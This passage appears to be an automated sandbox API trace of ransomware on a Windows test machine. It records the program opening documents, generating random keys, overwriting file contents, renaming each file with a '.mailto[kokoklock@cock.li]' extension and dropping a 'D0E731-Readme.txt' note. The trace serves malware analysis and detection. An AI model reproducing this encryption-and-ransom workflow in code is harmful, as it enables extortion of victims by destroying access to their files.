"c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\sr-icezv\\d0e731-readme.txt")) returned 0x20 [0075.652] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e31d0) returned 1 [0075.652] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347ece8) returned 1 [0075.652] RtlExitUserThread (Status=0x1) Thread: id = 771 os_tid = 0x1258 [0075.653] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\7zs5QnsWs0jJ.odp" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\7zs5qnsws0jj.odp")) returned 0x20 [0075.653] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\7zs5QnsWs0jJ.odp", dwFileAttributes=0x20) returned 1 [0075.653] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\7zs5QnsWs0jJ.odp" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\7zs5qnsws0jj.odp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x9e4 [0075.653] GetFileSizeEx (in: hFile=0x9e4, lpFileSize=0x1cf3fe6c | out: lpFileSize=0x1cf3fe6c*=14774) returned 1 [0075.653] SetFilePointerEx (in: hFile=0x9e4, liDistanceToMove=0x39b2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.653] ReadFile (in: hFile=0x9e4, lpBuffer=0x1cf3fe40, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1cf3fe3c, lpOverlapped=0x0 | out: lpBuffer=0x1cf3fe40*, lpNumberOfBytesRead=0x1cf3fe3c*=0x4, lpOverlapped=0x0) returned 1 [0075.654] SetFilePointerEx (in: hFile=0x9e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.654] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3479548 [0075.654] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3479570 [0075.654] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34795e8 [0075.654] NtQuerySystemTime (in: CurrentTime=0x1cf3fe18 | out: CurrentTime=0x1cf3fe18*=132121176335502821) returned 0x0 [0075.654] RtlRandom (in: Seed=0x1cf3fe24 | out: Seed=0x1cf3fe24) returned 0xa7bb29c7 [0075.654] RtlRandom (in: Seed=0x1cf3fe24 | out: Seed=0x1cf3fe24) returned 0x44b20ac0 [0075.654] RtlRandom (in: Seed=0x1cf3fe24 | out: Seed=0x1cf3fe24) returned 0x9eb877cb [0075.654] RtlRandom (in: Seed=0x1cf3fe24 | out: Seed=0x1cf3fe24) returned 0xb62bba58 [0075.654] RtlRandom (in: Seed=0x1cf3fe24 | out: Seed=0x1cf3fe24) returned 0x6f54d1b0 [0075.654] RtlRandom (in: Seed=0x1cf3fe24 | out: Seed=0x1cf3fe24) returned 0xa6bed303 [0075.654] RtlRandom (in: Seed=0x1cf3fe24 | out: Seed=0x1cf3fe24) returned 0x7870bca9 [0075.654] RtlRandom (in: Seed=0x1cf3fe24 | out: Seed=0x1cf3fe24) returned 0x6cfa847f [0075.654] RtlRandom (in: Seed=0x1cf3fe24 | out: Seed=0x1cf3fe24) returned 0xe691647c [0075.654] RtlRandom (in: Seed=0x1cf3fe24 | out: Seed=0x1cf3fe24) returned 0xeb1b5ca [0075.654] RtlRandom (in: Seed=0x1cf3fe24 | out: Seed=0x1cf3fe24) returned 0x204954e1 [0075.654] RtlRandom (in: Seed=0x1cf3fe24 | out: Seed=0x1cf3fe24) returned 0x3d9cecc1 [0075.654] RtlRandom (in: Seed=0x1cf3fe24 | out: Seed=0x1cf3fe24) returned 0x80c4de16 [0075.654] RtlRandom (in: Seed=0x1cf3fe24 | out: Seed=0x1cf3fe24) returned 0xd950317c [0075.654] RtlRandom (in: Seed=0x1cf3fe24 | out: Seed=0x1cf3fe24) returned 0xff11f284 [0075.654] RtlRandom (in: Seed=0x1cf3fe24 | out: Seed=0x1cf3fe24) returned 0x31a89e03 [0075.654] RtlRandom (in: Seed=0x1cf3fe24 | out: Seed=0x1cf3fe24) returned 0xd512350a [0075.654] RtlRandom (in: Seed=0x1cf3fe24 | out: Seed=0x1cf3fe24) returned 0xebe07d37 [0075.654] RtlRandom (in: Seed=0x1cf3fe24 | out: Seed=0x1cf3fe24) returned 0x1a75ef4a [0075.654] RtlRandom (in: Seed=0x1cf3fe24 | out: Seed=0x1cf3fe24) returned 0xf084c53b [0075.654] RtlRandom (in: Seed=0x1cf3fe24 | out: Seed=0x1cf3fe24) returned 0x8ab74f7a [0075.654] RtlRandom (in: Seed=0x1cf3fe24 | out: Seed=0x1cf3fe24) returned 0xe759a430 [0075.654] RtlRandom (in: Seed=0x1cf3fe24 | out: Seed=0x1cf3fe24) returned 0xeb6f4554 [0075.654] RtlRandom (in: Seed=0x1cf3fe24 | out: Seed=0x1cf3fe24) returned 0xa045f54f [0075.654] RtlRandom (in: Seed=0x1cf3fe24 | out: Seed=0x1cf3fe24) returned 0xfb2504a2 [0075.654] RtlRandom (in: Seed=0x1cf3fe24 | out: Seed=0x1cf3fe24) returned 0x58604194 [0075.655] RtlRandom (in: Seed=0x1cf3fe24 | out: Seed=0x1cf3fe24) returned 0xcfe7d4d6 [0075.655] RtlRandom (in: Seed=0x1cf3fe24 | out: Seed=0x1cf3fe24) returned 0xf4809336 [0075.655] RtlRandom (in: Seed=0x1cf3fe24 | out: Seed=0x1cf3fe24) returned 0x264cd1ae [0075.655] RtlRandom (in: Seed=0x1cf3fe24 | out: Seed=0x1cf3fe24) returned 0xd5ff6180 [0075.655] RtlRandom (in: Seed=0x1cf3fe24 | out: Seed=0x1cf3fe24) returned 0xd528d22c [0075.655] RtlRandom (in: Seed=0x1cf3fe24 | out: Seed=0x1cf3fe24) returned 0xdb334bf [0075.665] ReadFile (in: hFile=0x9e4, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x39b6, lpNumberOfBytesRead=0x1cf3fe18, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x1cf3fe18*=0x39b6, lpOverlapped=0x0) returned 1 [0075.666] SetFilePointerEx (in: hFile=0x9e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1cf3fde0 | out: lpNewFilePointer=0x0) returned 1 [0075.666] WriteFile (in: hFile=0x9e4, lpBuffer=0x34ae380*, nNumberOfBytesToWrite=0x39b6, lpNumberOfBytesWritten=0x1cf3fe14, lpOverlapped=0x0 | out: lpBuffer=0x34ae380*, lpNumberOfBytesWritten=0x1cf3fe14*=0x39b6, lpOverlapped=0x0) returned 1 [0075.666] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3479660 [0075.666] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3479548 [0075.666] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479548) returned 1 [0075.666] WriteFile (in: hFile=0x9e4, lpBuffer=0x3479660*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1cf3fe10, lpOverlapped=0x0 | out: lpBuffer=0x3479660*, lpNumberOfBytesWritten=0x1cf3fe10*=0x20, lpOverlapped=0x0) returned 1 [0075.667] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479660) returned 1 [0075.667] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ae380) returned 1 [0075.667] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0075.667] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347a000) returned 1 [0075.667] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd940) returned 1 [0075.667] WriteFile (in: hFile=0x9e4, lpBuffer=0x3479638*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1cf3fe3c, lpOverlapped=0x0 | out: lpBuffer=0x3479638*, lpNumberOfBytesWritten=0x1cf3fe3c*=0x8, lpOverlapped=0x0) returned 1 [0075.667] WriteFile (in: hFile=0x9e4, lpBuffer=0x1cf3fe54*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1cf3fe3c, lpOverlapped=0x0 | out: lpBuffer=0x1cf3fe54*, lpNumberOfBytesWritten=0x1cf3fe3c*=0x4, lpOverlapped=0x0) returned 1 [0075.667] WriteFile (in: hFile=0x9e4, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1cf3fe3c, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x1cf3fe3c*=0x4, lpOverlapped=0x0) returned 1 [0075.667] WriteFile (in: hFile=0x9e4, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1cf3fe3c, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x1cf3fe3c*=0x6c, lpOverlapped=0x0) returned 1 [0075.667] WriteFile (in: hFile=0x9e4, lpBuffer=0x3479570*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1cf3fe3c, lpOverlapped=0x0 | out: lpBuffer=0x3479570*, lpNumberOfBytesWritten=0x1cf3fe3c*=0x20, lpOverlapped=0x0) returned 1 [0075.667] WriteFile (in: hFile=0x9e4, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1cf3fe3c, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x1cf3fe3c*=0x4, lpOverlapped=0x0) returned 1 [0075.667] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479570) returned 1 [0075.667] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479610) returned 1 [0075.667] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479638) returned 1 [0075.667] CloseHandle (hObject=0x9e4) returned 1 [0075.668] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc8) returned 0x33f7548 [0075.668] wcscpy (in: _Dest=0x33f7548, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\7zs5QnsWs0jJ.odp" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\7zs5QnsWs0jJ.odp") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\7zs5QnsWs0jJ.odp" [0075.668] wcscat (in: _Dest=0x33f7548, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\7zs5QnsWs0jJ.odp.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\7zs5QnsWs0jJ.odp.mailto[kokoklock@cock.li].d0e731" [0075.668] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\7zs5QnsWs0jJ.odp" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\7zs5qnsws0jj.odp"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\7zs5QnsWs0jJ.odp.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\7zs5qnsws0jj.odp.mailto[kokoklock@cock.li].d0e731")) returned 1 [0075.668] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\7zs5QnsWs0jJ.odp.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0075.668] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f7548) returned 1 [0075.668] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\7zs5QnsWs0jJ.odp", dwFileAttributes=0x20) returned 0 [0075.668] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x8a) returned 0x347b910 [0075.669] wcscpy (in: _Dest=0x347b910, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\" [0075.669] wcscat (in: _Dest=0x347b910, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\D0E731-Readme.txt" [0075.669] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\d0e731-readme.txt")) returned 0xffffffff [0075.669] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\d0e731-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x9e4 [0075.670] WriteFile (in: hFile=0x9e4, lpBuffer=0x33e3ba8*, nNumberOfBytesToWrite=0x481, lpNumberOfBytesWritten=0x1cf3fe38, lpOverlapped=0x0 | out: lpBuffer=0x33e3ba8*, lpNumberOfBytesWritten=0x1cf3fe38*=0x481, lpOverlapped=0x0) returned 1 [0075.671] CloseHandle (hObject=0x9e4) returned 1 [0075.672] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b910) returned 1 [0075.672] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e3020) returned 1 [0075.672] RtlExitUserThread (Status=0x1) Thread: id = 772 os_tid = 0x125c [0075.673] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\B1EA0bJEwsMaRgXKVN.doc" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\b1ea0bjewsmargxkvn.doc")) returned 0x20 [0075.673] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\B1EA0bJEwsMaRgXKVN.doc", dwFileAttributes=0x20) returned 1 [0075.673] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\B1EA0bJEwsMaRgXKVN.doc" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\b1ea0bjewsmargxkvn.doc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x9e4 [0075.673] GetFileSizeEx (in: hFile=0x9e4, lpFileSize=0x1cfbfb48 | out: lpFileSize=0x1cfbfb48*=88286) returned 1 [0075.673] SetFilePointerEx (in: hFile=0x9e4, liDistanceToMove=0x158da, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.673] ReadFile (in: hFile=0x9e4, lpBuffer=0x1cfbfb1c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1cfbfb18, lpOverlapped=0x0 | out: lpBuffer=0x1cfbfb1c*, lpNumberOfBytesRead=0x1cfbfb18*=0x4, lpOverlapped=0x0) returned 1 [0075.674] SetFilePointerEx (in: hFile=0x9e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.674] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3479548 [0075.674] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3479570 [0075.674] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3479610 [0075.674] NtQuerySystemTime (in: CurrentTime=0x1cfbfaf4 | out: CurrentTime=0x1cfbfaf4*=132121176335659141) returned 0x0 [0075.674] RtlRandom (in: Seed=0x1cfbfb00 | out: Seed=0x1cfbfb00) returned 0x2535c80f [0075.674] RtlRandom (in: Seed=0x1cfbfb00 | out: Seed=0x1cfbfb00) returned 0x49ce5392 [0075.674] RtlRandom (in: Seed=0x1cfbfb00 | out: Seed=0x1cfbfb00) returned 0x472cba02 [0075.674] RtlRandom (in: Seed=0x1cfbfb00 | out: Seed=0x1cfbfb00) returned 0xd6f85813 [0075.674] RtlRandom (in: Seed=0x1cfbfb00 | out: Seed=0x1cfbfb00) returned 0x41ee8a66 [0075.674] RtlRandom (in: Seed=0x1cfbfb00 | out: Seed=0x1cfbfb00) returned 0x346c4786 [0075.674] RtlRandom (in: Seed=0x1cfbfb00 | out: Seed=0x1cfbfb00) returned 0xeb242ea2 [0075.674] RtlRandom (in: Seed=0x1cfbfb00 | out: Seed=0x1cfbfb00) returned 0x2ff0966 [0075.674] RtlRandom (in: Seed=0x1cfbfb00 | out: Seed=0x1cfbfb00) returned 0x22c8b91f [0075.674] RtlRandom (in: Seed=0x1cfbfb00 | out: Seed=0x1cfbfb00) returned 0x8b735fe8 [0075.674] RtlRandom (in: Seed=0x1cfbfb00 | out: Seed=0x1cfbfb00) returned 0x3c7a2942 [0075.675] RtlRandom (in: Seed=0x1cfbfb00 | out: Seed=0x1cfbfb00) returned 0x8db0db8f [0075.675] RtlRandom (in: Seed=0x1cfbfb00 | out: Seed=0x1cfbfb00) returned 0xb19e55ca [0075.675] RtlRandom (in: Seed=0x1cfbfb00 | out: Seed=0x1cfbfb00) returned 0xe170f639 [0075.675] RtlRandom (in: Seed=0x1cfbfb00 | out: Seed=0x1cfbfb00) returned 0x639f33ad [0075.675] RtlRandom (in: Seed=0x1cfbfb00 | out: Seed=0x1cfbfb00) returned 0x902bf04c [0075.675] RtlRandom (in: Seed=0x1cfbfb00 | out: Seed=0x1cfbfb00) returned 0xdf5c8c40 [0075.675] RtlRandom (in: Seed=0x1cfbfb00 | out: Seed=0x1cfbfb00) returned 0x9bce9c7 [0075.675] RtlRandom (in: Seed=0x1cfbfb00 | out: Seed=0x1cfbfb00) returned 0x6eb14df5 [0075.675] RtlRandom (in: Seed=0x1cfbfb00 | out: Seed=0x1cfbfb00) returned 0x4cd04c01 [0075.675] RtlRandom (in: Seed=0x1cfbfb00 | out: Seed=0x1cfbfb00) returned 0x99bd4242 [0075.675] RtlRandom (in: Seed=0x1cfbfb00 | out: Seed=0x1cfbfb00) returned 0xe4b658e1 [0075.675] RtlRandom (in: Seed=0x1cfbfb00 | out: Seed=0x1cfbfb00) returned 0x7f52484b [0075.675] RtlRandom (in: Seed=0x1cfbfb00 | out: Seed=0x1cfbfb00) returned 0xf76f916c [0075.675] RtlRandom (in: Seed=0x1cfbfb00 | out: Seed=0x1cfbfb00) returned 0x3f3a8b89 [0075.675] RtlRandom (in: Seed=0x1cfbfb00 | out: Seed=0x1cfbfb00) returned 0xbf88c398 [0075.675] RtlRandom (in: Seed=0x1cfbfb00 | out: Seed=0x1cfbfb00) returned 0x316ab6 [0075.675] RtlRandom (in: Seed=0x1cfbfb00 | out: Seed=0x1cfbfb00) returned 0xa27da891 [0075.675] RtlRandom (in: Seed=0x1cfbfb00 | out: Seed=0x1cfbfb00) returned 0xcd6c75f9 [0075.675] RtlRandom (in: Seed=0x1cfbfb00 | out: Seed=0x1cfbfb00) returned 0x52deb347 [0075.675] RtlRandom (in: Seed=0x1cfbfb00 | out: Seed=0x1cfbfb00) returned 0x2825b00f [0075.675] RtlRandom (in: Seed=0x1cfbfb00 | out: Seed=0x1cfbfb00) returned 0x4508133f [0075.686] SetFilePointerEx (in: hFile=0x9e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.686] ReadFile (in: hFile=0x9e4, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x1cfbfacc, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x1cfbfacc*=0x4096, lpOverlapped=0x0) returned 1 [0075.687] SetFilePointerEx (in: hFile=0x9e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.687] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd940 [0075.687] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x347a000 [0075.687] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3479548 [0075.687] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479548) returned 1 [0075.687] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34ae380 [0075.687] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3479688 [0075.687] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3479548 [0075.687] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479548) returned 1 [0075.687] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347a000) returned 1 [0075.687] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd940) returned 1 [0075.687] WriteFile (in: hFile=0x9e4, lpBuffer=0x34ae380*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x1cfbfacc, lpOverlapped=0x0 | out: lpBuffer=0x34ae380*, lpNumberOfBytesWritten=0x1cfbfacc*=0x4096, lpOverlapped=0x0) returned 1 [0075.688] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ae380) returned 1 [0075.688] SetFilePointerEx (in: hFile=0x9e4, liDistanceToMove=0x158de, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.688] WriteFile (in: hFile=0x9e4, lpBuffer=0x3479688*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1cfbfb04, lpOverlapped=0x0 | out: lpBuffer=0x3479688*, lpNumberOfBytesWritten=0x1cfbfb04*=0x20, lpOverlapped=0x0) returned 1 [0075.688] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479688) returned 1 [0075.688] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0075.688] WriteFile (in: hFile=0x9e4, lpBuffer=0x3479660*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1cfbfb18, lpOverlapped=0x0 | out: lpBuffer=0x3479660*, lpNumberOfBytesWritten=0x1cfbfb18*=0x8, lpOverlapped=0x0) returned 1 [0075.688] WriteFile (in: hFile=0x9e4, lpBuffer=0x1cfbfb30*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1cfbfb18, lpOverlapped=0x0 | out: lpBuffer=0x1cfbfb30*, lpNumberOfBytesWritten=0x1cfbfb18*=0x4, lpOverlapped=0x0) returned 1 [0075.688] WriteFile (in: hFile=0x9e4, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1cfbfb18, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x1cfbfb18*=0x4, lpOverlapped=0x0) returned 1 [0075.688] WriteFile (in: hFile=0x9e4, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1cfbfb18, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x1cfbfb18*=0x6c, lpOverlapped=0x0) returned 1 [0075.688] WriteFile (in: hFile=0x9e4, lpBuffer=0x3479570*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1cfbfb18, lpOverlapped=0x0 | out: lpBuffer=0x3479570*, lpNumberOfBytesWritten=0x1cfbfb18*=0x20, lpOverlapped=0x0) returned 1 [0075.688] WriteFile (in: hFile=0x9e4, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1cfbfb18, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x1cfbfb18*=0x4, lpOverlapped=0x0) returned 1 [0075.688] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479570) returned 1 [0075.688] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479638) returned 1 [0075.689] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479660) returned 1 [0075.689] CloseHandle (hObject=0x9e4) returned 1 [0075.689] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xd4) returned 0x347a800 [0075.689] wcscpy (in: _Dest=0x347a800, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\B1EA0bJEwsMaRgXKVN.doc" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\B1EA0bJEwsMaRgXKVN.doc") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\B1EA0bJEwsMaRgXKVN.doc" [0075.689] wcscat (in: _Dest=0x347a800, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\B1EA0bJEwsMaRgXKVN.doc.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\B1EA0bJEwsMaRgXKVN.doc.mailto[kokoklock@cock.li].d0e731" [0075.689] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\B1EA0bJEwsMaRgXKVN.doc" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\b1ea0bjewsmargxkvn.doc"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\B1EA0bJEwsMaRgXKVN.doc.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\b1ea0bjewsmargxkvn.doc.mailto[kokoklock@cock.li].d0e731")) returned 1 [0075.689] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\B1EA0bJEwsMaRgXKVN.doc.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0075.689] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347a800) returned 1 [0075.690] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\B1EA0bJEwsMaRgXKVN.doc", dwFileAttributes=0x20) returned 0 [0075.690] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x8a) returned 0x347b910 [0075.690] wcscpy (in: _Dest=0x347b910, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\" [0075.690] wcscat (in: _Dest=0x347b910, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\D0E731-Readme.txt" [0075.690] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\D0E731-Readme.txt" (normalized: 